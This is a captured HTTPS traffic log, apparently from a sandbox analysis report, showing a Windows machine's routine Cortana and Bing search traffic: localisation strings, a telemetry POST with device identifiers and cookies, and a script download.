2024-01-26 09:18:12 UTC	16384	IN	Data Raw: 5b 33 32 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 41 6c 6c 3a 74 5b 33 33 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 41 73 73 69 67 6e 6d 65 6e 74 73 3a 74 5b 33 34 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 43 6f 6e 6e 65 63 74 6f 72 73 50 61 74 74 65 72 6e 3a 74 5b 33 35 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 43 6f 6e 76 65 72 73 61 74 69 6f 6e 73 3a 74 5b 33 36 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 46 69 6c 65 73 3a 74 5b 33 37 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 4d 65 73 73 61 67 65 73 3a 74 5b 33 38 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 50 65 6f 70 6c 65 3a 74 5b 33 39 5d 2c 4d 73 62 56 65 72 74 69 63 61 6c 43 68 69 6c 64 50 6f 77 65 72 42 69 3a 74 5b Data Ascii: [32],MsbVerticalChildAll:t[33],MsbVerticalChildAssignments:t[34],MsbVerticalChildConnectorsPattern:t[35],MsbVerticalChildConversations:t[36],MsbVerticalChildFiles:t[37],MsbVerticalChildMessages:t[38],MsbVerticalChildPeople:t[39],MsbVerticalChildPowerBi:t[
2024-01-26 09:18:12 UTC	8192	IN	Data Raw: 20 64 65 6c 20 74 72 65 62 61 6c 6c 2e 22 2c 22 56 65 72 69 66 69 71 75 65 75 20 65 6c 20 63 6f 6d 70 74 65 20 70 65 72 20 63 65 72 63 61 72 20 69 6e 66 6f 72 6d 61 63 69 c3 b3 20 64 65 20 6c 61 20 66 65 69 6e 61 22 2c 22 4d 6f 73 74 72 61 2d 68 6f 20 74 6f 74 22 2c 22 54 6f 74 22 2c 22 54 61 73 71 75 65 73 22 2c 2c 22 43 6f 6e 76 65 72 73 65 73 22 2c 22 46 69 74 78 65 72 73 22 2c 22 4d 69 73 73 61 74 67 65 73 22 2c 22 50 65 72 73 6f 6e 65 73 22 2c 2c 22 4c 6c 6f 63 73 22 2c 2c 22 72 65 64 75 c3 af 74 22 2c 22 46 69 6c 74 72 61 72 20 65 6c 73 20 72 65 73 75 6c 74 61 74 73 20 64 65 20 6c 61 20 66 65 69 6e 61 22 2c 22 46 69 6c 74 72 61 20 65 6c 73 20 72 65 73 75 6c 74 61 74 73 20 61 63 61 64 c3 a8 6d 69 63 73 22 2c 22 6f 62 65 72 74 22 2c 22 52 65 73 75 6c Data Ascii: del treball.","Verifiqueu el compte per cercar informaci de la feina","Mostra-ho tot","Tot","Tasques",,"Converses","Fitxers","Missatges","Persones",,"Llocs",,"redut","Filtrar els resultats de la feina","Filtra els resultats acadmics","obert","Resul
2024-01-26 09:18:12 UTC	16384	IN	Data Raw: 2c 20 7b 30 7d 2e 22 2c 22 72 65 63 75 72 73 6f 73 20 69 6e 74 65 72 6e 6f 73 22 2c 22 49 6e 74 65 6e 74 61 20 62 75 73 63 61 72 22 2c 22 56 c3 ad 6e 63 75 6c 6f 73 22 2c 22 45 73 63 72 69 62 61 20 70 61 72 61 20 62 75 73 63 61 72 20 70 65 72 73 6f 6e 61 73 2c 20 61 72 63 68 69 76 6f 73 20 79 20 6d c3 a1 73 20 72 65 73 75 6c 74 61 64 6f 73 20 64 65 20 7b 30 7d 2e 22 2c 22 61 6c 69 61 73 20 6f 20 6e 6f 6d 62 72 65 20 64 65 20 63 6f 6d 70 61 c3 b1 65 72 6f 20 64 65 20 74 72 61 62 61 6a 6f 22 2c 22 50 72 75 65 62 65 20 61 20 65 73 63 72 69 62 69 72 22 2c 22 50 65 72 73 6f 6e 61 73 22 2c 22 43 6f 6e 74 61 63 74 6f 73 22 2c 22 47 72 75 70 6f 73 22 2c 22 54 61 72 65 61 73 22 2c 22 6d 69 73 20 74 61 72 65 61 73 22 2c 22 43 61 6c 65 6e 64 61 72 69 6f 22 2c 22 4d Data Ascii: , {0}.","recursos internos","Intenta buscar","Vnculos","Escriba para buscar personas, archivos y ms resultados de {0}.","alias o nombre de compaero de trabajo","Pruebe a escribir","Personas","Contactos","Grupos","Tareas","mis tareas","Calendario","M
2024-01-26 09:18:12 UTC	8192	IN	Data Raw: b0 e0 a4 af e0 a4 be e0 a4 b8 20 e0 a4 95 e0 a4 b0 e0 a5 87 e0 a4 82 22 2c 22 e0 a4 b2 e0 a5 8b e0 a4 97 22 2c 22 e0 a4 b8 e0 a4 82 e0 a4 aa e0 a4 b0 e0 a5 8d e0 a4 95 22 2c 22 e0 a4 b8 e0 a4 ae e0 a5 82 e0 a4 b9 e0 a5 8b e0 a4 82 22 2c 22 e0 a4 85 e0 a4 b8 e0 a4 be e0 a4 87 e0 a4 a8 e0 a4 ae e0 a5 87 e0 a4 82 e0 a4 9f e0 a5 8d e0 a4 b8 22 2c 22 e0 a4 ae e0 a5 87 e0 a4 b0 e0 a5 87 20 e0 a4 85 e0 a4 b8 e0 a4 be e0 a4 87 e0 a4 a8 e0 a4 ae e0 a5 87 e0 a4 82 e0 a4 9f 22 2c 22 e0 a4 95 e0 a5 88 e0 a4 b2 e0 a5 87 e0 a4 82 e0 a4 a1 e0 a4 b0 22 2c 22 e0 a4 ae e0 a5 87 e0 a4 b0 e0 a4 be 20 e0 a4 95 e0 a5 88 e0 a4 b2 e0 a5 87 e0 a4 82 e0 a4 a1 e0 a4 b0 22 2c 22 e0 a4 95 e0 a4 95 e0 a5 8d e0 a4 b7 e0 a4 be e0 a4 8f e0 a4 81 22 2c 22 e0 a4 ae e0 a5 87 e0 a4 b0 e0 a5 Data Ascii: ","","","",""," ",""," ","","
2024-01-26 09:18:12 UTC	16384	IN	Data Raw: 82 92 e6 a4 9c e7 b4 a2 e3 81 97 e3 81 be e3 81 99 e3 80 82 22 2c 22 43 74 72 6c 2b 45 6e 74 65 72 20 e3 82 92 e6 8a bc e3 81 97 e3 81 a6 e3 80 81 e4 bd 9c e6 a5 ad e7 b5 90 e6 9e 9c e3 82 92 e8 a1 a8 e7 a4 ba e3 81 97 e3 81 be e3 81 99 e3 80 82 22 2c 22 e3 82 a2 e3 82 ab e3 82 a6 e3 83 b3 e3 83 88 e3 82 92 e7 a2 ba e8 aa 8d e3 81 97 e3 81 a6 e3 80 81 e4 bb 95 e4 ba 8b e6 83 85 e5 a0 b1 e3 82 92 e6 a4 9c e7 b4 a2 e3 81 99 e3 82 8b 22 2c 22 e3 81 99 e3 81 b9 e3 81 a6 e8 a1 a8 e7 a4 ba 22 2c 22 e3 81 99 e3 81 b9 e3 81 a6 22 2c 22 e5 89 b2 e3 82 8a e5 bd 93 e3 81 a6 22 2c 2c 22 e4 bc 9a e8 a9 b1 22 2c 22 e3 83 95 e3 82 a1 e3 82 a4 e3 83 ab 22 2c 22 e3 83 a1 e3 83 83 e3 82 bb e3 83 bc e3 82 b8 22 2c 22 e9 80 a3 e7 b5 a1 e5 85 88 22 2c 2c 22 e5 a0 b4 e6 89 80 Data Ascii: ","Ctrl+Enter ","","","","",,"","","","",,"
2024-01-26 09:18:12 UTC	8192	IN	Data Raw: ba 87 e0 ba ae e0 ba bd e0 ba 99 e0 ba 82 e0 ba ad e0 ba 87 e0 ba 82 e0 bb 89 e0 ba ad e0 ba 8d 22 2c 22 e0 bb 84 e0 ba 9f e0 ba a5 e0 bb 8c 22 2c 22 e0 bb 84 e0 ba 9f e0 ba a5 e0 bb 8c e0 ba 82 e0 ba ad e0 ba 87 e0 ba 82 e0 bb 89 e0 ba ad e0 ba 8d 22 2c 22 e0 ba 82 e0 bb 8d e0 bb 89 e0 ba 84 e0 ba a7 e0 ba b2 e0 ba a1 22 2c 2c 22 e0 bb 82 e0 ba 9b e0 ba a3 e0 bb 84 e0 ba 9f e0 ba a5 e0 bb 8c e0 ba 82 e0 ba ad e0 ba 87 e0 ba 82 e0 bb 89 e0 ba ad e0 ba 8d 22 2c 22 e0 ba 81 e0 ba b2 e0 ba 99 e0 ba 84 e0 ba bb e0 bb 89 e0 ba 99 e0 ba ab e0 ba b2 e0 ba a7 e0 ba bd e0 ba 81 e0 ba ab e0 ba bc e0 bb 89 e0 ba b2 e0 ba aa e0 ba b8 e0 ba 94 22 2c 22 e0 bb 81 e0 ba 99 e0 ba b0 e0 ba 99 e0 ba b3 e0 bb 83 e0 ba ab e0 bb 89 e0 ba 97 e0 bb 88 e0 ba b2 e0 ba 99 22 2c 22 Data Ascii: ","","","",,"","","","
2024-01-26 09:18:12 UTC	16384	IN	Data Raw: e0 b5 8d e0 b4 9f e0 b5 bc 22 2c 22 e0 b4 95 e0 b5 8d e0 b4 b2 e0 b4 be e0 b4 b8 e0 b5 8d e0 b4 b8 e0 b5 81 e0 b4 95 e0 b5 be 22 2c 22 e0 b4 8e e0 b4 a8 e0 b5 8d e0 b4 b1 e0 b5 86 20 e0 b4 95 e0 b5 8d e0 b4 b2 e0 b4 be e0 b4 b8 e0 b5 81 e0 b4 95 e0 b5 be 22 2c 22 e0 b4 ab e0 b4 af e0 b4 b2 e0 b5 81 e0 b4 95 e0 b5 be 22 2c 22 e0 b4 8e e0 b4 a8 e0 b5 8d e0 b4 b1 e0 b5 86 20 e0 b4 ab e0 b4 af e0 b4 b2 e0 b5 81 e0 b4 95 e0 b5 be 22 2c 22 e0 b4 b8 e0 b4 a8 e0 b5 8d e0 b4 a6 e0 b5 87 e0 b4 b6 e0 b4 99 e0 b5 8d e0 b4 99 e0 b5 be 22 2c 2c 22 e0 b4 8e e0 b4 a8 e0 b5 8d e0 b4 b1 e0 b5 86 20 e0 b4 aa e0 b5 8d e0 b4 b0 e0 b5 8a e0 b4 ab e0 b5 88 e0 b5 bd 22 2c 22 e0 b4 b8 e0 b4 ae e0 b5 80 e0 b4 aa e0 b4 95 e0 b4 be e0 b4 b2 20 e0 b4 a4 e0 b5 8a e0 b4 b4 e0 b4 bf e0 Data Ascii: ",""," ",""," ","",," ","
2024-01-26 09:18:12 UTC	8192	IN	Data Raw: e0 a8 bf e0 a8 a3 e0 a8 be e0 a8 ae e0 a8 be e0 a8 82 20 e0 a8 a8 e0 a9 82 e0 a9 b0 20 e0 a8 a6 e0 a9 87 e0 a8 96 e0 a8 a3 20 e0 a8 b2 e0 a8 88 20 43 74 72 6c 2b 45 6e 74 65 72 20 e0 a8 a8 e0 a9 82 e0 a9 b0 20 e0 a8 a6 e0 a8 ac e0 a8 be e0 a8 93 e0 a5 a4 22 2c 22 e0 a8 95 e0 a8 be e0 a8 b0 e0 a8 9c 20 e0 a8 9c e0 a8 be e0 a8 a3 e0 a8 95 e0 a8 be e0 a8 b0 e0 a9 80 20 e0 a8 a6 e0 a9 80 20 e0 a8 96 e0 a9 8b e0 a8 9c 20 e0 a8 95 e0 a8 b0 e0 a8 a8 20 e0 a8 b2 e0 a8 88 20 e0 a8 86 e0 a8 aa e0 a8 a3 e0 a9 87 20 e0 a8 96 e0 a8 be e0 a8 a4 e0 a9 87 20 e0 a8 a6 e0 a9 80 20 e0 a8 a4 e0 a8 b8 e0 a8 a6 e0 a9 80 e0 a8 95 20 e0 a8 95 e0 a8 b0 e0 a9 8b 22 2c 22 e0 a8 b8 e0 a8 be e0 a8 b0 e0 a9 87 20 e0 a8 a6 e0 a9 87 e0 a8 96 e0 a9 8b 22 2c 22 e0 a8 b8 e0 a8 ad 22 2c 22 Data Ascii: Ctrl+Enter "," "," ","","
2024-01-26 09:18:12 UTC	16384	IN	Data Raw: d1 82 d0 ba d1 80 d1 8b d1 82 d0 be 22 2c 22 d0 a0 d0 b5 d0 b7 d1 83 d0 bb d1 8c d1 82 d0 b0 d1 82 d1 8b 20 d1 80 d0 b0 d0 b1 d0 be d1 82 d1 8b 22 2c 22 d0 9f d0 be d0 ba d0 b0 d0 b7 d0 b0 d1 82 d1 8c 20 d0 bc d0 b5 d0 bd d1 8c d1 88 d0 b5 22 2c 22 d0 9f d0 be d0 ba d0 b0 d0 b7 d0 b0 d1 82 d1 8c 20 d0 b1 d0 be d0 bb d1 8c d1 88 d0 b5 22 2c 22 7b 30 7d 20 e2 80 94 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d1 8b d0 b5 20 d1 80 d0 b5 d0 b7 d1 83 d0 bb d1 8c d1 82 d0 b0 d1 82 d1 8b 22 5d 29 28 22 73 6b 22 2c 5b 22 53 6b 72 79 c5 a5 20 7a 20 68 69 73 74 c3 b3 72 69 65 20 68 c4 be 61 64 61 6e 69 61 22 2c 22 56 79 68 c4 be 61 64 c3 a1 76 61 6e 69 65 20 76 20 70 72 c3 a1 63 69 20 6a 65 20 65 c5 a1 74 65 20 6a 65 64 6e 6f 64 75 63 Data Ascii: "," "," "," ","{0} "])("sk",["Skry z histrie hadania","Vyhadvanie v prci je ete jednoduc

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.16	49777	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:12 UTC	2323	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1706260686 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x640 X-BM-DeviceDimensionsLogical: 784x640 X-BM-DeviceScale: 100 X-BM-DTZ: 60 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 5EF93EC01AB34274B68BA5FE8CADDBFF X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 72936 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:18:12 UTC	16355	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 32 62 35 33 35 32 66 66 37 34 34 38 34 66 34 63 39 65 38 64 39 65 62 35 61 31 64 32 36 33 66 38 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 74 6f 74 61 6c 6e 75 6d 62 65 72 4f 66 45 6e 74 72 69 65 73 22 3a 22 31 22 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>2b5352ff74484f4c9e8d9eb5a1d263f8</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","totalnumberOfEntries":"1"
2024-01-26 09:18:12 UTC	16355	OUT	Data Raw: 6e 63 65 22 3a 22 4d 65 72 67 65 64 48 6f 6d 65 22 2c 22 71 66 4d 6f 64 65 22 3a 22 31 22 2c 22 69 73 53 65 61 72 63 68 48 6f 6d 65 22 3a 31 2c 22 72 65 67 69 6f 6e 22 3a 22 43 48 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 44 43 22 3a 22 4d 57 48 45 30 31 22 2c 22 69 73 4d 6f 62 69 6c 65 22 3a 30 2c 22 69 73 58 62 6f 78 22 3a 30 2c 22 69 73 48 6f 6c 6f 6c 65 6e 73 22 3a 30 2c 22 77 69 6e 64 6f 77 73 43 6f 6c 6f 72 22 3a 32 2c 22 61 70 70 43 6f 6c 6f 72 22 3a 31 2c 22 57 69 64 65 41 74 53 74 61 72 74 75 70 44 65 6c 74 61 22 3a 34 34 30 2c 22 64 65 76 69 63 65 48 69 73 74 6f 72 79 45 6e 61 62 6c 65 64 22 3a 31 2c 22 77 69 6e 64 6f 77 73 41 63 63 6f 75 6e 74 22 3a 22 33 22 2c 22 6d 73 61 41 63 63 6f 75 6e 74 73 43 6f 75 6e 74 22 3a 30 2c 22 61 61 Data Ascii: nce":"MergedHome","qfMode":"1","isSearchHome":1,"region":"CH","lang":"en-CH","DC":"MWHE01","isMobile":0,"isXbox":0,"isHololens":0,"windowsColor":2,"appColor":1,"WideAtStartupDelta":440,"deviceHistoryEnabled":1,"windowsAccount":"3","msaAccountsCount":0,"aa
2024-01-26 09:18:12 UTC	16355	OUT	Data Raw: 2c 22 56 61 6c 22 3a 22 50 50 22 2c 22 48 6f 22 3a 32 2c 22 47 72 22 3a 30 2c 22 48 53 22 3a 31 2c 22 44 65 76 69 63 65 53 69 67 6e 61 6c 73 22 3a 7b 22 52 61 6e 6b 22 3a 30 2c 22 50 48 69 74 73 22 3a 22 53 79 73 74 65 6d 2e 50 61 72 73 69 6e 67 4e 61 6d 65 22 2c 22 49 64 22 3a 22 7b 31 41 43 31 34 45 37 37 2d 30 32 45 37 2d 34 45 35 44 2d 42 37 34 34 2d 32 45 42 31 41 45 35 31 39 38 42 37 7d 5c 5c 6e 6f 74 65 70 61 64 2e 65 78 65 22 2c 22 44 4e 61 6d 65 22 3a 22 4e 6f 74 65 70 61 64 22 2c 22 4c 41 44 22 3a 22 32 30 32 34 2d 30 31 2d 32 36 54 30 39 3a 31 37 3a 33 39 2e 35 38 31 5a 22 2c 22 41 70 70 4c 6e 63 68 22 3a 31 2c 22 41 72 67 73 22 3a 30 2c 22 4d 44 4e 22 3a 30 2c 22 45 78 74 22 3a 22 2e 65 78 65 22 7d 7d 5d 7d 2c 7b 22 54 22 3a 22 44 2e 53 54 22 Data Ascii: ,"Val":"PP","Ho":2,"Gr":0,"HS":1,"DeviceSignals":{"Rank":0,"PHits":"System.ParsingName","Id":"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\notepad.exe","DName":"Notepad","LAD":"2024-01-26T09:17:39.581Z","AppLnch":1,"Args":0,"MDN":0,"Ext":".exe"}}]},{"T":"D.ST"
2024-01-26 09:18:12 UTC	16355	OUT	Data Raw: 6e 6f 74 65 70 61 64 2e 65 78 65 22 2c 22 44 4e 61 6d 65 22 3a 22 4e 6f 74 65 70 61 64 22 2c 22 4c 41 44 22 3a 22 32 30 32 34 2d 30 31 2d 32 36 54 30 39 3a 31 37 3a 33 39 2e 35 38 31 5a 22 2c 22 41 70 70 4c 6e 63 68 22 3a 31 2c 22 41 72 67 73 22 3a 30 2c 22 4d 44 4e 22 3a 30 2c 22 45 78 74 22 3a 22 2e 65 78 65 22 7d 7d 5d 7d 2c 7b 22 54 22 3a 22 44 2e 53 54 22 2c 22 41 70 70 4e 53 22 3a 22 53 6d 61 72 74 53 65 61 72 63 68 22 2c 22 53 65 72 76 69 63 65 22 3a 22 41 75 74 6f 53 75 67 67 65 73 74 22 2c 22 53 63 65 6e 61 72 69 6f 22 3a 22 53 54 22 2c 22 53 43 22 3a 34 2c 22 44 53 22 3a 5b 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 30 31 32 2c 22 51 22 3a 22 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 61 6e 64 20 61 63 74 69 6f 6e 73 20 73 65 74 74 69 Data Ascii: notepad.exe","DName":"Notepad","LAD":"2024-01-26T09:17:39.581Z","AppLnch":1,"Args":0,"MDN":0,"Ext":".exe"}}]},{"T":"D.ST","AppNS":"SmartSearch","Service":"AutoSuggest","Scenario":"ST","SC":4,"DS":[{"T":"D.Url","K":1012,"Q":"Notifications and actions setti
2024-01-26 09:18:12 UTC	7516	OUT	Data Raw: 31 34 37 34 38 7d 7d 2c 7b 22 54 22 3a 22 44 2e 55 72 6c 22 2c 22 4b 22 3a 31 30 31 30 2c 22 51 22 3a 22 6e 6f 74 65 6e 6c 69 6e 69 65 6e 22 2c 22 56 61 6c 22 3a 22 41 53 22 2c 22 48 6f 22 3a 30 2c 22 47 72 22 3a 31 31 2c 22 48 43 4d 53 22 3a 30 2c 22 48 43 53 22 3a 30 2c 22 4c 4d 22 3a 22 31 30 30 30 3a 5c 22 30 5c 22 3b 32 32 30 30 3a 5c 22 31 33 5c 22 3b 33 30 30 30 31 3a 5c 22 31 35 34 34 38 5c 22 3b 32 31 35 32 3a 5c 22 31 36 33 33 30 5c 22 3b 32 30 30 30 3a 5c 22 35 36 30 39 30 5c 22 3b 32 30 31 31 3a 5c 22 31 30 5c 22 3b 31 31 30 33 34 3a 5c 22 31 35 32 39 35 37 34 33 34 31 5c 22 3b 22 2c 22 52 61 6e 6b 65 72 53 69 67 6e 61 6c 73 22 3a 7b 22 72 61 6e 6b 69 6e 67 53 63 6f 72 65 22 3a 2d 37 2e 33 35 37 31 33 2c 22 66 65 61 74 75 72 65 53 74 6f 72 65 Data Ascii: 14748}},{"T":"D.Url","K":1010,"Q":"notenlinien","Val":"AS","Ho":0,"Gr":11,"HCMS":0,"HCS":0,"LM":"1000:\"0\";2200:\"13\";30001:\"15448\";2152:\"16330\";2000:\"56090\";2011:\"10\";11034:\"1529574341\";","RankerSignals":{"rankingScore":-7.35713,"featureStore
2024-01-26 09:18:12 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 962B3DAE055A4006BFE687F83ACE37A4 Ref B: BY3EDGE0315 Ref C: 2024-01-26T09:18:12Z Date: Fri, 26 Jan 2024 09:18:12 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260692.4831721e

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.16	49778	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:18:12 UTC	866	OUT	GET /rp/EfDjq2sKuuTL3oaNAH0jFWbaOeA.js HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; ANON=A=6167974D1A7C78361D9CC53BFFFFFFFF; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:18:13 UTC	904	IN	HTTP/1.1 200 OK Content-Length: 537686 Content-Type: text/javascript; charset=utf-8 Content-MD5: mU5Cw05db7ZYQbnUYWYcvA== Last-Modified: Wed, 24 Jan 2024 22:29:08 GMT ETag: 0x8DC1D2BE1956C46 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: e1b2d1eb-201e-0005-805e-4fc8fd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * Cache-Control: public, no-transform, max-age=338245 Expires: Tue, 30 Jan 2024 07:15:38 GMT Date: Fri, 26 Jan 2024 09:18:13 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260693.406df1ee Timing-Allow-Origin: * report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingaotak"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
2024-01-26 09:18:13 UTC	1044	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 4c 6f 63 53 74 72 69 6e 67 4d 61 6e 61 67 65 72 2e 72 65 67 69 73 74 65 72 28 7b 75 69 43 75 6c 74 75 72 65 3a 6e 2c 6e 61 6d 65 3a 22 4d 69 63 72 6f 73 6f 66 74 53 65 61 72 63 68 44 73 62 22 2c 6e 61 6d 65 73 70 61 63 65 3a 22 57 69 6e 64 6f 77 73 53 65 61 72 63 68 42 6f 78 22 7d 2c 7b 41 63 6b 6e 6f 77 6c 65 64 67 65 46 65 65 64 62 61 63 6b 50 72 6f 76 69 64 65 64 54 65 78 74 3a 74 5b 30 5d 2c 41 63 72 6f 6e 79 6d 46 65 61 74 75 72 65 64 43 6f 75 6e 74 3a 74 5b 31 5d 2c 41 63 72 6f 6e 79 6d 73 43 61 72 64 53 75 62 74 69 74 6c 65 3a 74 5b 32 5d 2c 41 63 72 6f 6e 79 6d 73 43 61 72 64 54 69 74 6c 65 3a 74 5b 33 5d 2c 41 63 72 6f 6e 79 6d 73 53 Data Ascii: (function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"MicrosoftSearchDsb",namespace:"WindowsSearchBox"},{AcknowledgeFeedbackProvidedText:t[0],AcronymFeaturedCount:t[1],AcronymsCardSubtitle:t[2],AcronymsCardTitle:t[3],AcronymsS
2024-01-26 09:18:13 UTC	16384	IN	Data Raw: 50 72 6f 6d 70 74 53 69 78 3a 74 5b 32 38 5d 2c 42 63 65 41 6e 61 6c 79 7a 65 50 72 6f 6d 70 74 54 68 72 65 65 3a 74 5b 32 39 5d 2c 42 63 65 41 6e 61 6c 79 7a 65 50 72 6f 6d 70 74 54 77 6f 3a 74 5b 33 30 5d 2c 42 63 65 43 6f 6d 70 61 72 65 50 72 6f 6d 70 74 4f 6e 65 3a 74 5b 33 31 5d 2c 42 63 65 43 6f 6d 70 61 72 65 50 72 6f 6d 70 74 54 77 6f 3a 74 5b 33 32 5d 2c 42 63 65 43 6f 70 69 6c 6f 74 54 69 74 6c 65 55 70 73 65 6c 6c 43 61 72 64 3a 74 5b 33 33 5d 2c 42 63 65 57 72 69 74 65 50 72 6f 6d 70 74 4f 6e 65 3a 74 5b 33 34 5d 2c 42 63 65 57 72 69 74 65 50 72 6f 6d 70 74 54 68 72 65 65 3a 74 5b 33 35 5d 2c 42 63 65 57 72 69 74 65 50 72 6f 6d 70 74 54 77 6f 3a 74 5b 33 36 5d 2c 42 6f 6f 6b 6d 61 72 6b 73 43 61 72 64 54 69 74 6c 65 3a 74 5b 33 37 5d 2c 42 6f Data 